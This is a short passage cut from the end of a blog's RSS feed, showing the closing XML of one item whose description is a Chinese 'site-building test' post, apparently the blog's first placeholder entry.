+0800</pubDate><guid>http://blog.foreverwl.top/blog/%E8%AE%B0%E5%BD%95/</guid><description>&lt;p&gt;建站测试&lt;/p&gt;</description></item></channel></rss>